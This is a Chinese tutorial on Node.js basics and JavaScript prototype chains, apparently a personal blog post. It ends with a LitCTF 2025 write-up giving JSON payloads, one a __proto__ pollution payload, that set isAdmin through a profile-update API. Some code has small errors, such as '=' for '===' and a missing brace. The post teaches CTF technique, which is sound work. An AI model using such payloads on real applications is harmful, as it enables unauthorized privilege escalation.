NodeJS从零开始到原型链污染
nodejs基础
Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境
它是由C++开发的,它只是一个JavaScript语言解释器。
REPL环境运行JavaScript的代码
在浏览器的控制台或者node的运行环境都属于REPL运行环境,均可以运行JS代码。
在NodeJS中分为三个模块,分别是:核心模块、自定义模块、第三方模块。
这里提一点,JS代码在编程时,如果需要使用某个模块的功能,那么就需要提前将其导入,与Python类似,只不过在Python中使用import关键字,而JS中使用require关键字。
1 2 3 4 5 6 7
| var fs = require('fs');//导入fs模块 fs.readFile('./haha.txt','utf8',function(err,data){ console.log(err); console.log('---分界线----'); console.log(data); }); console.log("wuhu");
|
同步和异步
同步可以理解为先吃饭再玩游戏,异步可以理解为边吃饭边打游戏
1 2 3 4
| var fs = require('fs');//导入fs模块 a = fs.readFileSync('./haha.txt'); console.log(a.toString()); console.log("wuhu");
|
全局变量:
1.__dirname:当前模块的目录名。
2.__filename:当前模块的文件名。这是当前的模块文件的绝对路径(符号链接会被解析)。
3.exports变量是默认赋值给module.exports,它可以被赋予新值,它会暂时不会绑定到module.exports。
4.module:在每个模块中, module 的自由变量是对表示当前模块的对象的引用。为方便起见,还可以通过全局模块的 exports 访问 module.exports。module 实际上不是全局的,而是每个模块本地的
5.require模块就不多说了,用于引入模块、 JSON、或本地文件。可以从 node_modules 引入模块
1 2 3 4 5
| // 引入 JSON 文件: const jsonData = require(‘./path/filename.json’);
// 引入 node_modules 模块或 Node.js 内置模块: const crypto = require(‘crypto’);
|
自己设置
1 2 3 4
| global.something = 123; 我们可以再输入 something回显回显的就是 123
|
经常使用的全局变量是__dirname、__filename
http服务
1 2 3 4 5 6 7 8 9 10 11 12 13
| //引入http核心模块 var http = require('http'); //创建一个服务 var server = http.createServer(); //绑定连接 server.on('request',function(res,rs){ console.log(res.method);//打印请求的方法 rs.write('hello,world!');//返回数据 rs.end();//断开连接 }) //启动监听 server.listen(4444,function(){ console.log('请访问127.0.0.1:4444');
|
child_process(创建子进程)
child_process提供了几种创建子进程的方式
异步方式:spawn、exec、execFile、fork
同步方式:spawnSync、execSync、execFileSync
经过上面的同步和异步思想的理解,创建子进程的同步异步方式应该不难理解。
在异步创建进程时,spawn是基础,其他的fork、exec、execFile都是基于spawn来生成的。
同步创建进程可以使用child_process.spawnSync()、child_process.execSync() 和 child_process.execFileSync() ,同步的方法会阻塞 Node.js 事件循环、暂停任何其他代码的执行,直到子进程退出
JavaScript原型链
原型和原型链
首先要知道,JavaScript没有父类和子类这个概念,也没有类和实例的区分,而JavaScript中的继承关系则是靠一种很奇怪的“原型链”模式来实现继承。
在次之前,要先搞清楚对象和函数有什么区别和联系
JavaScript中的对象
在JavaScript中几乎所有的事物都是对象:
1 2 3 4 5 6 7
| var a = { "name": "m0re", "blog": "https://wuk0Ng.top" } a.name; a.blog; console.log(a);
|
访问对象的属性,可以有两种方式
原型的定义和继承
原型的定义:任何对象都有一个原型对象,这个原型对象由对象的内置属性proto指向它的构造函数的prototype指向的对象,即任何对象都是由一个构造函数创建的
1 2 3 4
| function a(name,age){ this.name = name; this.age = age; }
|
a函数内容是a类的构造函数,其中this.name、this.age就是a类的属性
在JavaScript中,声明了一个函数a,然后浏览器就自动在内存中创建一个对象b,a函数默认有一个属性prototype指向了这个对象b,b就是函数a的原型对象,简称原型。同时,对象b默认有属性constructor指向函数a
1 2 3 4 5 6
| 比如一个代码 > function a(){}; > a.prototype {} > a.prototype.constructor [Function: a]
|
创建一个对象a,对象a会默认有一个属性proto指向构造函数A的原型对象b
1 2 3 4
| > function A(){}; > let a = new A(); > A.prototype = a.__proto__ true
|
这里A.prototype就指向函数的原型B。则a.__proto__是实例化的对象a的一个属性
在javascript中,一切都是对象,他也只有对象这一种结构。而对象和对象间又存在继承关系
1 2 3 4 5 6 7 8 9 10
| var test = { a:1 , b: function(){ console.log(this.a); } }; var c = Object.create(test);
c.a=888; c.b();
|
每个实例对象(object)都有一个私有属性(proto)指向它的构造函数的原型对象(prototype),每个实例对象还有一个属性(constructor)指向原型的构造函数。该原型对象也有一个自己的原型对象(proto),层层向上直到一个对象的原型对象为null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节
经过不断调用,最终的原型对象会调用到null,这将作为该原型链的最后一个环节,与之对应的,作为终点的 null 自然也是没有原型对象的
1 2 3 4 5 6 7 8
| > function A(){}; > let a = new A(); > A.prototype = a.__proto__ true > A.__proto__ {} > A.__proto__.__proto__ [Object: null prototype] {}
|
原型链定义及如何污染
原型链的核心就是依赖对象proto的指向,当访问的属性在该对象不存在时,就会向上从该对象构造函数的prototype的进行查找,直至查找到Object的原型null为止

由于对象之间存在继承关系,所以当我们要使用或者输出一个变量就会通过原型链向上搜索,当上层没有就会再向上上层搜索,直到指向 null,若此时还未找到就会返回 undefined
原型链污染就是修改其构造函数中的属性值,使其他通过该构造函数实例化出的对象也具有这个属性的值。
由于对象是无序的,当使用第二种方式访问对象时,只能使用指明下标的方式去访问。
因此我们可以通过 a [“proto“] 的方式去访问其原型对象
1 2 3 4 5 6 7 8 9 10 11
| > a=[]; [] > b=[]; > b["__proto__"] Object(0) [] > b["__proto__"]["name"]="m0re"; 'm0re' > a [] > a.name 'm0re'
|
调用对象属性时, 会查找属性,如果本身没有,则会去proto中查找,也就是构造函数的显式原型中查找,如果构造函数中也没有该属性,因为构造函数也是对象,也有proto,那么会去proto的显式原型中查找,一直到null
原型链污染
总结
其实我感觉原理和ssti还有php反序列化是有很多相同的部分的
原理真的好像不算很难
接下来就来打ctf实战了
[LitCTF 2025]多重宇宙日记
221分
原型链污染NodeJS
ez原型链,你能成为管理员拿到flag吗?
一进去是
1 2 3 4 5 6 7 8 9 10 11
| 欢迎来到多重宇宙日记!
在这里,你可以记录下你在各个宇宙中的冒险笔记。
据说,管理员拥有一把能够解锁宇宙终极秘密的钥匙,它就藏在管理员的专属控制面板里。然而,这个控制面板似乎只有真正的管理员才能进入。
你的任务是,找到方法进入管理员面板,并拿到那把名为Flag的钥匙。
Flag格式:flag{...}
登录 或 注册 开始你的旅程
|
这样的
随便注册一个账号进入

再来查看网页源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| // 更新表单的JS提交 document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) { event.preventDefault(); const statusEl = document.getElementById('updateStatus'); const currentSettingsEl = document.getElementById('currentSettings'); statusEl.textContent = '正在更新...';
const formData = new FormData(event.target); const settingsPayload = {}; // 构建 settings 对象,只包含有值的字段 if (formData.get('theme')) settingsPayload.theme = formData.get('theme'); if (formData.get('language')) settingsPayload.language = formData.get('language'); // ...可以添加其他字段
try { const response = await fetch('/api/profile/update', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ settings: settingsPayload }) // 包装在 "settings"键下 }); const result = await response.json(); if (response.ok) { statusEl.textContent = '成功: ' + result.message; currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2); // 刷新页面以更新导航栏(如果isAdmin状态改变) setTimeout(() => window.location.reload(), 1000); } else { statusEl.textContent = '错误: ' + result.message; } } catch (error) { statusEl.textContent = '请求失败: ' + error.toString(); } });
// 发送原始JSON的函数 async function sendRawJson() { const rawJson = document.getElementById('rawJsonSettings').value; const statusEl = document.getElementById('rawJsonStatus'); const currentSettingsEl = document.getElementById('currentSettings'); statusEl.textContent = '正在发送...'; try { const parsedJson = JSON.parse(rawJson); // 确保是合法的JSON const response = await fetch('/api/profile/update', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(parsedJson) // 直接发送用户输入的JSON }); const result = await response.json(); if (response.ok) { statusEl.textContent = '成功: ' + result.message; currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2); // 刷新页面以更新导航栏(如果isAdmin状态改变) setTimeout(() => window.location.reload(), 1000); } else { statusEl.textContent = '错误: ' + result.message; } } catch (error) { statusEl.textContent = '请求失败或JSON无效: ' + error.toString(); } }
|
非预期
1 2 3 4 5
| { "settings": { "isAdmin": true } }
|
成为管理员后就可以拿到flag了
预期解法
1 2 3 4 5 6 7 8 9
| { "settings": { "theme": "ctf", "language": "ctf", "__proto__": { "isAdmin": true } }
|
不太看的懂这个js代码,所以不能很好地解决这道题目